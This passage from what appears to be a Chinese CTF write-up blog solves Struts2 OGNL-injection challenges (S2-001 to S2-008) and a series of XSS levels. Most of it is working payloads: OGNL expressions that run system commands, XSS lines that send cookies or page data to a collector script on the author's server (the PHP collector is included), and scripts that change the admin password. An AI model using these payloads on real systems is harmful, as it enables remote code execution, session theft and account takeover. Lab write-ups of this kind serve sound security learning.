S2-001\u662f\u5f53\u7528\u6237\u63d0\u4ea4\u8868\u5355\u6570\u636e\u4e14\u9a8c\u8bc1\u5931\u8d25\u65f6\uff0c\u670d\u52a1\u5668\u4f7f\u7528OGNL\u8868\u8fbe\u5f0f\u89e3\u6790\u7528\u6237\u5148\u524d\u63d0\u4ea4\u7684\u53c2\u6570\u503c\uff0c%{value}\u5e76\u91cd\u65b0\u586b\u5145\u76f8\u5e94\u7684\u8868\u5355\u6570\u636e\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u5728%{}\u88c5\u5165\u6211\u4eec\u60f3\u8981\u6267\u884c\u7684\u547d\u4ee4\uff0csubmit\u540e\u5373\u53ef\u5728\u8868\u5355\u4e0a\u663e\u793a\u6267\u884c\u7ed3\u679c<\/p>\n\n\n\n<p>\u83b7\u53d6tomcat\u8def\u5f84<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>%{\"tomcatBinDir{\"+@java.lang.System@getProperty(\"user.dir\")+\"}\"}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-13.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"461\" height=\"215\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-13.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1167\"  sizes=\"auto, (max-width: 461px) 100vw, 461px\" \/><\/div><\/figure>\n\n\n\n<p>\u83b7\u53d6web\u8def\u5f84<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\").getWriter(),#response.println(#req.getRealPath('\/')),#response.flush(),#response.close()}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-14.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"427\" height=\"169\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-14.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1168\"  sizes=\"auto, (max-width: 427px) 100vw, 427px\" \/><\/div><\/figure>\n\n\n\n<p>\u6267\u884cenv\u547d\u4ee4\uff0c\u83b7\u5f97flag<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>%{#a=(new java.lang.ProcessBuilder(new java.lang.String&#91;]{\"env\"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char&#91;50000],#d.read(#e),#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&amp;username=1<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-15-1024x79.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"79\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-15-1024x79.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1169\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web280-S2-005<\/h2>\n\n\n\n<p>Struts2\u5c06HTTP\u7684\u6bcf\u4e2a\u53c2\u6570\u540d\u89e3\u6790\u4e3aognl\u8bed\u53e5\u6267\u884c,\u800cognl\u8868\u8fbe\u5f0f\u662f\u901a\u8fc7#\u6765\u8bbf\u95eestruts\u7684\u5bf9\u8c61\uff0cStruts2\u6846\u67b6\u867d\u7136\u8fc7\u6ee4\u4e86#\u6765\u8fdb\u884c\u8fc7\u6ee4\uff0c\u4f46\u662f\u53ef\u4ee5\u901a\u8fc7unicode\u7f16\u7801\uff08u0023\uff09\u62168\u8fdb\u5236\uff0843\uff09\u7ed5\u8fc7\u4e86\u5b89\u5168\u9650\u5236\uff0c\u8fbe\u5230\u4ee3\u7801\u6267\u884c\u7684\u6548\u679c <\/p>\n\n\n\n<p><strong>\u5f71\u54cd\u7248\u672c<\/strong>\uff1aStruts 2.0.0 &#8211; Struts 2.0.11.2<\/p>\n\n\n\n<p>S2-005\u548cS2-003\u7684\u539f\u7406\u662f\u7c7b\u4f3c\u7684\uff0c\u56e0\u4e3a\u5b98\u65b9\u5728\u4fee\u8865S2-003\u4e0d\u5168\u9762\uff0c\u5bfc\u81f4\u7528\u6237\u53ef\u4ee5\u7ed5\u8fc7\u5b98\u65b9\u7684\u5b89\u5168\u914d\u7f6e\uff08\u7981\u6b62\u9759\u6001\u65b9\u6cd5\u8c03\u7528\u548c\u7c7b\u65b9\u6cd5\u6267\u884c\uff09\uff0c\u518d\u6b21\u9020\u6210\u7684\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u8bf4\u662f\u5347\u7ea7\u7248\u7684S2-005\u662f\u5347\u7ea7\u7248\u7684S2-003<\/p>\n\n\n\n<p><strong>\u5f71\u54cd\u7248\u672c<\/strong>\uff1aStruts 2.0.0 &#8211; Struts 2.1.8.1<\/p>\n\n\n\n<p>\u627e\u4e2a\u811a\u672c\u4e00\u628a\u68ad\u5373\u53ef\uff0c\u6267\u884cenv\u62ffflag<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-16.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"569\" height=\"301\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-16.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1170\"  sizes=\"auto, (max-width: 569px) 100vw, 569px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web281-S2-007<\/h2>\n\n\n\n<p>\u5f53\u914d\u7f6e\u4e86\u9a8c\u8bc1\u89c4\u5219&nbsp;<code>&lt;ActionName&gt;-validation.xml<\/code>&nbsp;\u65f6\uff0c\u82e5\u7c7b\u578b\u9a8c\u8bc1\u8f6c\u6362\u51fa\u9519\uff0c\u540e\u7aef\u9ed8\u8ba4\u4f1a\u5c06\u7528\u6237\u63d0\u4ea4\u7684\u8868\u5355\u503c\u901a\u8fc7\u5b57\u7b26\u4e32\u62fc\u63a5\uff0c\u7136\u540e\u6267\u884c\u4e00\u6b21 OGNL \u8868\u8fbe\u5f0f\u89e3\u6790\u5e76\u8fd4\u56de<\/p>\n\n\n\n<p><strong>\u5f71\u54cd\u7248\u672c<\/strong>\uff1aStruts2 2.0.0 &#8211; Struts2 2.2.3<\/p>\n\n\n\n<p>poc:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>' + (#_memberAccess&#91;\"allowStaticMethodAccess\"]=true,#foo=new java.lang.Boolean(\"false\") ,#context&#91;\"xwork.MethodAccessor.denyMethodExecution\"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-17.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"289\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/03\/1-17.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1171\"  sizes=\"auto, (max-width: 624px) 100vw, 624px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web282-S2-008<\/h2>\n\n\n\n<p>S2-008 \u6d89\u53ca\u591a\u4e2a\u6f0f\u6d1e\uff0cCookie \u62e6\u622a\u5668\u9519\u8bef\u914d\u7f6e\u53ef\u9020\u6210 OGNL \u8868\u8fbe\u5f0f\u6267\u884c\uff0c\u4f46\u662f\u7531\u4e8e\u5927\u591a Web \u5bb9\u5668\uff08\u5982 Tomcat\uff09\u5bf9 Cookie \u540d\u79f0\u90fd\u6709\u5b57\u7b26\u9650\u5236\uff0c\u4e00\u4e9b\u5173\u952e\u5b57\u7b26\u65e0\u6cd5\u4f7f\u7528\u4f7f\u5f97\u8fd9\u4e2a\u70b9\u663e\u5f97\u6bd4\u8f83\u9e21\u808b\u3002\u53e6\u4e00\u4e2a\u6bd4\u8f83\u9e21\u808b\u7684\u70b9\u5c31\u662f\u5728 struts2 \u5e94\u7528\u5f00\u542f devMode \u6a21\u5f0f\u540e\u4f1a\u6709\u591a\u4e2a\u8c03\u8bd5\u63a5\u53e3\u80fd\u591f\u76f4\u63a5\u67e5\u770b\u5bf9\u8c61\u4fe1\u606f\u6216\u76f4\u63a5\u6267\u884c\u547d\u4ee4\uff0c\u6b63\u5982 kxlzx \u6240\u63d0\u8fd9\u79cd\u60c5\u51b5\u5728\u751f\u4ea7\u73af\u5883\u4e2d\u51e0\u4e4e\u4e0d\u53ef\u80fd\u5b58\u5728\uff0c\u56e0\u6b64\u5c31\u53d8\u5f97\u5f88\u9e21\u808b\u7684\uff0c\u4f46\u6211\u8ba4\u4e3a\u4e5f\u4e0d\u662f\u7edd\u5bf9\u7684\uff0c\u4e07\u4e00\u88ab\u9ed1\u4e86\u4e13\u95e8\u4e22\u4e86\u4e00\u4e2a\u5f00\u542f\u4e86 debug \u6a21\u5f0f\u7684\u5e94\u7528\u5230\u670d\u52a1\u5668\u4e0a\u4f5c\u4e3a\u540e\u95e8\u4e5f\u662f\u6709\u53ef\u80fd\u7684<\/p>\n\n\n\n<p>\u5f71\u54cd\u7248\u672c\uff1aStruts 2.1.0 &#8211; Struts 2.3.1<\/p>\n\n\n\n<p>poc:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>url\/S2-008\/devmode.action?debug=command&amp;expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29)<\/code><\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7XSS<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web316<\/h2>\n\n\n\n<p>xml.php<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n$content = $_GET&#91;'1'];\nif(isset($content)){\n    file_put_contents('flag.txt','Last update time:'.date(\"Y-m-d H:i:s\").\"\\n\".$content);\n}else{\n    echo 'no data input';\n}<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;document.location.href='http:\/\/url\/xml.php?1='+document.cookie&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p>xml.php\u653e\u4f60vps\u4e0a\uff0cpayload\u6267\u884c\u540e\u53ef\u4ee5\u5728\u7f51\u9875\u76ee\u5f55\u770b\u5230\u4e00\u4e2aflag.txt\u3002\u9996\u5148\u5f97\u5230\u7684\u662f\u4f60\u81ea\u5df1\u7684cookie\uff0c\u8fc7\u4f1a\u513fxssbot\u70b9\u4e86\u624d\u80fd\u62ff\u5230flag<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web317<\/h2>\n\n\n\n<p>script\u88ab\u8fc7\u6ee4\u4e86\uff0c\u6362\u4e2a\u6807\u7b7e\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;body onload=\"window.open('http:\/\/url\/xml.php?1='+document.cookie)\"&gt;&lt;\/body&gt;<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web318<\/h2>\n\n\n\n<p>\u8fc7\u6ee4\u4e86img\uff0c\u8fd8\u662f\u7528\u4e0a\u9898\u90a3\u4e2apayload<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web319<\/h2>\n\n\n\n<p>\u4e0d\u77e5\u9053\u591a\u4e86\u5565\u8fc7\u6ee4\uff0c\u53cd\u6b63\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web320<\/h2>\n\n\n\n<p>\u7a7a\u683c\u88abban<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;iframe\/**\/onload=\"window.open('http:\/\/url\/xml.php?1='+document.cookie)\"&gt;&lt;\/iframe&gt;\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web321<\/h2>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web322<\/h2>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web323<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;body\/**\/onload=\"window.open('http:\/\/url\/xml.php?1='+document.cookie)\"&gt;&lt;\/body&gt;\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web324<\/h2>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web325<\/h2>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web326<\/h2>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web327<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-53-1024x627.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"627\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-53-1024x627.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1618\" style=\"width:840px;height:514px\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5payload\u8fd8\u662f\u540c\u4e0a\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u6b21\u6362\u6210\u4e86\u5b58\u50a8\u578bxss\uff0c\u4ee3\u7801\u88ab\u6c38\u4e45\u5730\u5b58\u653e\u5728\u76ee\u6807\u670d\u52a1\u5668\u7684\u6570\u636e\u5e93\u6216\u6587\u4ef6\u4e2d\uff0c\u53ea\u8981\u4f7f\u7528\u7279\u5b9aurl\u5c31\u53ef\u4ee5\u6c38\u4e45\u6267\u884c\uff0c\u800c\u6211\u4eec\u4e0a\u9762\u7684\u53cd\u5c04\u578bxss\u4ec5\u4ec5\u662f\u5bf9\u4f60\u8fd9\u6b21\u8bbf\u95ee\u4ea7\u751f\u4e86\u5f71\u54cd\uff0c\u4e0d\u662f\u6301\u4e45\u578b\u653b\u51fb<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web328<\/h2>\n\n\n\n<p>\u7528\u6237\u540d\u548c\u5bc6\u7801\u7684\u6e90\u4ee3\u7801\u4e0d\u5b58\u5728\u5355\u5f15\u53f7\u6216\u8005\u53cc\u5f15\u53f7\u5305\u88f9\u7684\u53ef\u4ee5\u76f4\u63a5xss\uff0c\u6211\u4eec\u53bb\u6ce8\u518c\u4e2a\u8d26\u6237\uff0c\u7528\u6237\u540d\u548c\u5bc6\u7801\u5747\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;window.location.href='http:\/\/url\/xml.php?1='+document.cookie;&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p>\u8fd9\u6837admin\u8bbf\u95ee\u7ba1\u7406\u9875\u9762\u5c31\u4f1a\u5f3a\u5236\u8df3\u8f6c\uff0c\u6211\u4eec\u76d7\u7528cookie\u767b\u5f55\u5373\u53ef\u83b7\u5f97flag:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-54.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"641\" height=\"211\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-54.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1621\"  sizes=\"auto, (max-width: 641px) 100vw, 641px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web329<\/h2>\n\n\n\n<p>\u548c\u4e0a\u4e00\u9898\u4e00\u6837\u76f4\u63a5\u76d7\u53d6cookie\u767b\u5f55\u4f1a\u5931\u6548\uff0c\u56e0\u4e3aadmin\u7684cookie\u662f\u4e34\u65f6\u7684\uff0c\u4e0d\u4f1a\u957f\u4e45\u4fdd\u5b58\uff0c\u6211\u4eec\u5728\u4ed6\u70b9\u51fb\u94fe\u63a5\u7684\u65f6\u5019\u628a\u60f3\u8981\u7684\u5185\u5bb9\u62ff\u5230\u5c31\u884c\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-55-1024x269.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"269\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-55-1024x269.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1624\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;window.open('http:\/\/url\/xml.php?1='+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')&#91;1].innerHTML)&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p>\u8fd8\u662f\u548c\u521a\u521a\u4e00\u6837\u6ce8\u518c\u7684\u65f6\u5019\u8d26\u6237\u5bc6\u7801\u90fd\u7528\u8fd9\u4e2a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web330<\/h2>\n\n\n\n<p>\u591a\u4e86\u4e2a\u4fee\u6539\u5bc6\u7801\u7684\u529f\u80fd\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-56.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"993\" height=\"383\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-56.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1625\"  sizes=\"auto, (max-width: 993px) 100vw, 993px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u5c31\u5f88\u660e\u663e\u4e86\uff0c\u7528\u7c7b\u4f3ccsrf\u7684\u65b9\u6cd5\u628aadmin\u5bc6\u7801\u6539\u4e86\u5c31\u884c\u4e86\uff0c\u6ce8\u518c\u4e2a\u53f7\uff0c\u8d26\u53f7\u548c\u5bc6\u7801\u90fd\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;window.location.href='http:\/\/127.0.0.1\/api\/change.php?p=123';&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u7528\u8d26\u53f7admin\u548c\u5bc6\u7801123\u767b\u5f55\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-57.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"749\" height=\"147\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-57.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1626\"  sizes=\"auto, (max-width: 749px) 100vw, 749px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web331<\/h2>\n\n\n\n<p>\u8fd8\u662f\u6539\u5bc6\u7801\uff0c\u53ea\u662f\u8fd9\u6b21\u6362\u6210\u4e86POST\u65b9\u6cd5\uff0c\u4fee\u6539\u4e00\u4e0bpayload\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;$.ajax({url:'api\/change.php',type:'post',data:{p:'123'}});&lt;\/script&gt;\n<\/code><\/pre>\n\n\n\n<p>\u6ce8\u518c\u4e2a\u53f7\uff0c\u8d26\u53f7\u548c\u5bc6\u7801\u90fd\u4e3a\u8fd9\u4e2apayload\uff0c\u7136\u540e\u7528\u5bc6\u7801123\u767b\u5f55admin\u8d26\u6237\u5373\u53ef\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-58.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1017\" height=\"264\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/04\/1-58.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1629\"  sizes=\"auto, (max-width: 1017px) 100vw, 1017px\" \/><\/div><\/figure>\n\n\n\n<h2 